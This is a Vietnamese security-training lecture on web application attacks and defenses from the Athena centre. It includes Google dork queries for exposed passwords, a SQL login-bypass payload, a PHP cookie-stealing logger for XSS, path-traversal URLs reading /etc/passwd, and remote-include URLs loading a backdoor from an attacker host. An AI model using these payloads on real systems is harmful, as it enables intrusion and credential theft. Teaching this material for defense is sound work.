Bài giảng Web application attack and defense - Võ Đỗ Thắng
Web app, Webserver:
Các khái niệm và mô hình
Web application là gì?
Web app hay web service là một phần
mềm ứng dụng chạy phía server (thuộc
layer 7 trong mô hình OSI)
User có thể truy xuất web app bằng các
trình duyệt (web browser, telnet) hay
bằng các giao thức HTTP(s)
Web app, Webserver: Các khái niệm
và mô hình
• Một số trình duyệt thông dụng:
IE (internet explorer)
FF( Mozilla Firefox)
Opera
• Một số webserver thông dụng
IIS : www.microsoft.com
Apache : www.apache.org
Jrun : www.marcomedia.com
Tomcat jakarta.apache.org
Iplanet webserver
Cold Fusion Webserver
Trang 1
Trang 2
Trang 3
Trang 4
Trang 5
Trang 6
Trang 7
Trang 8
Trang 9
Trang 10
Tải về để xem bản đầy đủ
Bạn đang xem 10 trang mẫu của tài liệu "Bài giảng Web application attack and defense - Võ Đỗ Thắng", để tải tài liệu gốc về máy hãy click vào nút Download ở trên
Tóm tắt nội dung tài liệu: Bài giảng Web application attack and defense - Võ Đỗ Thắng
Web Application Attack & Defense Trình bày : Võ Đỗ Thắng Giám đốc Trung tâm an ninh mạng Athena. A. Web app, Webserver: Các khái niệm và mô hình B. Giới thiệu một số phương pháp attack cơ bản nhắm vào web app/webserver C. Phát hiện và phòng chống ATHENA A. Web app, Webserver: Các khái niệm và mô hình Web application là gì? Web app hay web service là một phần mềm ứng dụng chạy phía server (thuộc layer 7 trong mô hình OSI) User có thể truy xuất web app bằng các trình duyệt (web browser, telnet) hay bằng các giao thức HTTP(s) ATHENA 2001(c)WhiteHat Security, Inc. A. Web app, Webserver: Các khái niệm và mô hình • Một số trình duyệt thông dụng: IE (internet explorer) FF( Mozilla Firefox) Opera • Một số webserver thông dụng IIS : www.microsoft.com Apache : www.apache.org Jrun : www.marcomedia.com Tomcat jakarta.apache.org Iplanet webserver Cold Fusion Webserver ATHENA 2001(c)WhiteHat Security, Inc. Mô hình chuẩn Web App Web Server DB Web Client Web app Web app HTTP request (cleartext or SSL) SQL Databas e Firewall ATHENA DB Web app Web app HTTP reply (HTML, Javascript, VBscript, etc) Plugins: •Perl •C/C++ •JSP, etc Database connection: •ADO, •ODBC, etc. •Apache •IIS •Netscape etc FIREWALL ATHENA 2001(c)WhiteHat Security, Inc. SSL ATHENA 2001(c)WhiteHat Security, Inc. ATHENA 2001(c)WhiteHat Security, Inc. B. Giới thiệu một số phương pháp attack cơ bản nhắm vào web app/webserver 1. Google attack 2. SQL injection 3. Cross site scripting 4. Hidden form vulnerability 5. Cookies injection 6. Flood database/Flood form 7. Local Attack 8. Path disclosure/Parsing exploit 9. Dictionary Traversal 10. Remote include file 11. Secured webserver ATHENA 2001(c)WhiteHat Security, Inc. Website viện kinh tế thành phố Hồ Chí Minh bị tấn công, chiếm quyền kiểm soát Demo: ATHENA Google Attack Sử dụng google để hack là một trong những phương pháp phổ biến của hacker nhằm tìm được những thông tin nhạy cảm từ victim Phương pháp Google attack giúp cho hacker có thể tìm ra thông tin những victim đã định trước (mục tiêu đã xác định) hay hack hàng lọat những victim có lỗi tương tự (mục tiêu chưa xác định) ATHENA Google attack (cont) Một số keyword hay được sử dụng: 1. Directory listing: Intitle:index.of/admin 2. CGI scanning: inurl:/iisadmpwd/ inurl://iisadmpwd/achg.htr inurl://iisadmpwd/aexp.htr inurl://iisadmpwd/aexp2.htr inurl://iisadmpwd/aexp2b.htr 3. Port Scanning: "VNC Desktop" inurl:5800 Inurl:webmin inurl:10000ATHENA Google attack (cont) Tìm link login: Inurl:/admin/login.asp Inurl:/administrator/login.asp Inurl:/admin/admin_login.asp Tìm thông tin chứa user/password: "Index of" htpasswd / passwd filetype:xls username password email "WS_FTP.LOG" "config.php" allinurl: admin mdb service filetype:pwd (FrontPage) Inurl:/admin.mdb Filetype:mdb user password ATHENA SQL injection Lỗi này thường xảy ra trên các ứng dụng web có csdl được quản lý bằng các hệ cơ sở dữ liệu như SQL Server, Mysql, Oracle, DB2, Sysbase, MsAccess Mỗi hệ quản trị csdl có một số điểm giống và khác nhau giữa các phương pháp injection Trong bài báo cáo này xin trình bày phương pháp injection trong hệ quản trị csdl phổ biến nhất thế giới: MSSQLATHENA 2001(c)WhiteHat Security, Inc. Các dạng tấn công SQL injection SQL bypass: Login.htm Username: <input type="text" name="fUSRNAME"> Password: <input type="password" name="fPASSWORD"> ATHENA 2001(c)WhiteHat Security, Inc. SQL Bypass execlogin.asp <% Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") strSQL = "SELECT * FROM T_USERS " & _ "WHERE USR_NAME=' " & vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("USR_NAME") End If Set objRS = Nothing %> ATHENA 2001(c)WhiteHat Security, Inc. SQL bypass - Khi hacker nhập vào: ‘ or ‘’=‘ Câu truy vấn sẽ trở thành SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='‘ - Câu truy vấn Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí Người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ. Tuy nhiên thực tế từng trường hợp cụ thể sẽ có các cách bypass khác nhau, ko có công thức chung. (Xem video demo SQL bypass vienkinhte.gov.vn) ATHENA 2001(c)WhiteHat Security, Inc. SQL injection (cont) Ngoài ra còn một số kĩ thuật nâng cao khác sử dụng SQL injection như: Union/Convert magic (khai thác dữ liệu) - Blind SQL injection - Tạo script Ddos sever - Sử dụng openrowset - Store procedure injection, kĩ thuật nâng quyền user,giới thiệu về kĩ thuật runtime patching - Upload backdoor (phần này khá dài,demo hòan tòan bằng Video) (xem video sql_ij_basic, sql_ij_admin) ATHENA 2001(c)WhiteHat Security, Inc. Cross site scripting Cross site scripting là gì? - Cross site scripting viết tắt là XSS (để tránh nhầm lẫn với CSS) là một dạng tấn công hướng về phía User (Client) mà ko tác động trực tiếp đến webserver - Hacker thường lợi dụng XSS để đánh cắp cookie của user, phising etc - Tuy nhiên vẫn có trường hợp ngọai lệ Hacker vẫn có thể xử dụng XSS để get root server (xem Iplanet server attack) ATHENA 2001(c)WhiteHat Security, Inc. Cross site scripting - Phương pháp test: + inject đọan script + alert(‘test’) vào bất cứ đâu cho phép user input data (Url, Feedback, Form, Search, cookieetc) + Nếu thấy xuất hiện ra một pop-up ‘test’ thì có nghĩa là website đã bị dính XSS + Đọan code trên không phải là cách test chung, nhiều trường hợp phải view source hoặc mã hóa để vượt qua filter. ATHENA Cross site scripting - Phương pháp tấn công: + Attacker viết một đọan mã để get cookie của victim như sau: <?php $cookie = $_GET['cookie']; $log = fopen("cookies11.txt","a"); //cookies11.txt //chmod 777 fwrite($log, $cookie ."\n"); fclose($log); ?>ATHENA 2001(c)WhiteHat Security, Inc. Cross site scripting - Sau đó up lên 1 hosting của hacker + Vd: - Kế tiếp hacker sẽ post đọan code sau vào forum (or URL ) của 1 website với hình thức như sau + window.location = ' + document.cookie; - Sau đó bằng vài phương pháp phising, sau khi victim đã đăng nhập và đọc bài viết (hoặc click vào URL) của hacker đã gửi, lập tức cookie của victim đã đc ghi vào file cookie11.txt của hacker.Công việc còn lại của Hacker khá đơn giản:fake cookie và truy xuất tài nguyên của website với quyền của user vừa chiếm được ATHENA 2001(c)WhiteHat Security, Inc. Hidden form vulnerability Hidden form vulnerability là gì? - Là một dạng truyền biến của webapplication, coder không muốn cho user can thiệp trong quá trình truyền biến - Hidden form có dạng: <input type="hidden" value="13.95" name="jac_minReqTotal"> <input type="hidden" value="1" name="jac_minReqUnits"> <input type="hidden" value="0" name="jac_minReqWeight"> - Vậy điều gì xảy ra nếu như các biến trong hidden form không được check một cách chặt chẽ khi user submit? Hacker sẽ lợi dụng điều này như thế nào?!? (xem video hiden_form_demo) ATHENA 2001(c)WhiteHat Security, Inc. Cookies injection Cookie là gì? - Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site. - Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quenTrong một số trường hợp, cookie có thể hiểu là 1 token để Authentication người dùng. - Ngòai cách tấn công bằng XSS để lấy cookie của victim, Hacker còn có thể dùng một kĩ thuật gọi là “cookie injection” để chiếm lấy phiên làm việc của victim nếu như thông qua một vài chỗ yếu trong cách xác thực của cookies (Xem video cookie_injection)ATHENA 2001(c)WhiteHat Security, Inc. 5. Flood database/Flood form Flood database/ Flood form là gì: - Đây thực ra không phải là một phương pháp hacking, có thể tạm xếp vào là một trong những hình thức DoS, nhưng đây là hình thức DoS vào database. - Cách thức tấn công: Hacker tạo ra những script để post một cách tự động vào forum, create member, search form, feedback đến một lúc nào đó thì webserver của victim cạn kiệt bandwitch hay sự nở ra liên tục của DB khiến dung lượng ổ cứng của victim bị full và crash cả hệ thống - Xem Flood blog_yahoo_demo ATHENA 2001(c)WhiteHat Security, Inc. 6. Local attack - Là phương pháp attack khi hacker hosting cùng server với victim - Công cụ sử dụng chủ yếu là dùng script backdoor (như r57shell.php, c99.php, remview.php) hay đối với ASP là (Ntdady.asp, 4in1.asp ) - Phương pháp này rất lợi hại, biến hóa khôn lường - Rất nhiều Hosting trên thế giới bị exploit qua phương pháp này, ngay cả một số Hosting nổi tiếng của vietnam cũng bị (VDC, FPTetc) (xem demo local_basic_att, hosting.vnn.vn, root_linux) ATHENA 7. Path disclosure/parsing exploit - Thường được gọi dưới một tên khác là lỗi “lộ đường dẫn” - Được đánh giá là lỗi có độ nguy hiểm trung bình (vì nó chỉ có giá trị khi tấn công localhost biết được đường dẫn của victim) - Tuy nhiên đôi khi lại khá nguy hiểm nếu để lộ ra đường dẫn dẫn đến folder chứa database. - Riêng trường hợp parsing exploit cần kết hợp cả 2 điều kiện là webserver xài IIS 5.x và phân ASP coding bị lỗi khi sử dụng phương pháp Server.MapPath (xem parsing_exploit) ATHENA Dictionary Traversal - Hay còn gọi là Path tranversal, mức độ nguy hiểm còn tùy thuộc vào nhiều tình huống cụ thể - Xét vd: Giả sử có 1 site bán máy nọ cho phép client download các file tài liệu hướng dẫn sử dụng sản phẩm. Họ dùng 1 file download.php và sử dụng như sau: http://[target.com]/download/download.ph p?file=xyz.pdf ATHENA 8. Dictionary Traversal (cont) $fp = fopen($file, 'r'); fpassthru($fp); // ** CORRECT ** fclose($fp); ?> <?php $file=$_GET['file']; $filename = $file; header("Cache-control: private"); // fix for IE header("Content-Type: application/octet-stream"); header("Content-Length: ".filesize($filename)); header("Content-Disposition: attachment; filename=$name"); ATHENA Dictionary Traversal (cont) Lúc đó hacker sẽ khai thác theo kiểu http://[target.com]/download/download.php?file=../../c onfig.php http://[target.com]/download/download.php?file=../db. php http://[target.com]/download/download.php?file=../../.. /etc/passwd Lúc đó hacker sẽ down được những file chứa thông tin rất nhạy cảm như VD trên là config.php,db.php (chứa thông tin connect đến database etc) hay /etc/passwd chứa thông tin về user/pass shadow họăc chưa shadow etc ATHENA Remote include file - Là một lỗi thông dụng trong các ứng dụng web được viết bằng PHP - Có liên quan mật thiết đến phương pháp local attack - Lợi dụng sự bất cẩn của Programmer khi dùng hàm include() hay require() trong PHP Vd:test.php <? $ex=”/home/www/testsite”; include(“$ex/index.php”); ?> ko bị lỗi, nhưng nếu <? include(“$ex/index.php”); ?> ATHENA Remote include file Khi đó hacker sẽ include vào 1 file: [target].com/test.php?ex=[attacker].com/ Khi đó link sẽ include là [attacker].com/index.php Index.php khi đó là một backdoor được lưu ở host hacker (host của hacker ko support php) Hoặc attacker có thể dùng cách khác [target].com/test.php?ex=[attacker].com/ backdoor.php (đằng sau dấu ? Sẽ ignore tất cả, trường hợp này là ignore /index.php có sẵn trong code test.php của victim) ATHENA Remote include file b/ Lỗi File include thông qua isset(), if() Test1.php <? if (!$file) {$file = ``index.php``;} include(“$file”); [] ? > ATHENA Remote include file Test2.php if (!isset( $path )) $path = `/home/`; include(“$path/index.php”); [] ? > Cách khai thác: [target].com/test1.php?file=[at tacker].com/remview.php [target].com/test2.php?path=[ attacker].com/remview.php? ATHENA Remote include file Test3.php <? include(“/home/$file”); [] ?> Cách khai thác [target].com/test3.php?file=../ ../../../../../../../etc/passwd ATHENA How to Secure? 1. Cẩn thận trong quá trình coding, viết một rules hợp lý để validate tất cả các biến đầu vào 2. Thường xuyên Update các hotfix, service patch cho Webserver, OS 3 Dùng mod_security như một tường lửa web để chặn các cuộc tấn công 4 Thiết lập hệ thống mạng an tòan 5. Dùng SSL, tránh sniff trên đường truyền, dùng Snort để logging ATHENA Tài liệu tham khảo ATHENA ATHENA Trung Tâm Đào Tạo Quản Trị & An Ninh Mạng Athena 2 Bis Đinh Tiên Hoàng, Phường ĐaKao, Quận 1 Website : www.athena.edu.vn Tel: 8244041
File đính kèm:
- bai_giang_web_application_attack_and_defense_vo_do_thang.pdf